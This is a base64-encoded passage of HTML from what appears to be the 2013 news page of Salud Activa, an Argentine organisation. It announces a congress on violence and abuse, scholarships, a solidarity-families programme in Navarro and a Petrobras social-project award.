hbj48YnI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxzdHJvbmc+MTQsIDE1IHkgMTYgZGUgTm92aWVtYnJlIEFCSUVSVEEgTEEgSU5TQ1JJUENJJk9hY3V0ZTtOISAoY29uIGRlc2N1ZW50byBoYXN0YSBlbCAyNy84KTxiciAvPjwvc3Ryb25nPjwvcD4NCjxwPjxzdHJvbmc+QUJJRVJUQSBMQSBSRUNFUENJJk9hY3V0ZTtOIERFIFRSQUJBSk88YSBocmVmPSJodHRwOi8vd3d3LmNvbmdyZXNvdmlvbGVuY2lhLmNvbS9pbmRleC5waHA/aWQ9bW9kYWxpZGFkZXMiIHRhcmdldD0iX2JsYW5rIj4gKG1hcyBpbmZvKTwvYT48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij48c3Ryb25nPk9yZ2FuaXphOiBTYWx1ZCBBY3RpdmE8L3N0cm9uZz48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+SW5jcmlwdG9zIGFsIFBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGltcG9ydGFudGVzIGRlc2N1ZW50b3MhPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2lvbjogVW5pdmVyc2lkYWQgZGVsIEVzdGUsIExhIFBsYXRhIEJ1ZW5vcyBBaXJlczwvcD4NCjxwPk1hcyBkZSAxNTAgdHJhYmFqb3MgcHJlc2VudGFkb3MsIHVsdGltb3MgZGlhcyBwYXJhIGluc2NyaWJpcnNlIGNvbiBkZXNjdWVudG8hITwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPkluc2NyaWJpcnNlPC9hPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPjxiciAvPjwvYT48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDEiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MDQvMTEvMjAxMzwvc3Bhbj48YnI+RWwgY29sZWdpbyBkZSBQc2lj82xvZ29zIGRlIEPzcmRvYmEgc2UgcHJvbnVuY2lhIGVuIHJlbGFjafNuIGFsIFNBUCB5IGVuIGNvbmNvcmRhbmNpYSBjb24gbG8gZXhwcmVzYWRvIHBvciBlbCBDb2xlZ2lvIGRlIFBzaWPzbG9nb3MgZGUgTWFyIGRlbCBQbGF0YSB5IGVsIENvbGVnaW8gZGUgUHNpY/Nsb2dvcyBkZSBsYSAgUHJvdmluY2lhIGRlIEJ1ZW5vcyBBaXJlczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+Jm5ic3A7PC9wPg0KPHA+TGFzIGNvbnRyb3ZlcnNpYXMgZ2VuZXJhZGFzIGVuIHJlbGFjaSZvYWN1dGU7biBhbCAic2luZHJvbWUgZGUgYWxpZW5hY2kmb2FjdXRlO24gcGFyZW50YSIgU0FQLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3J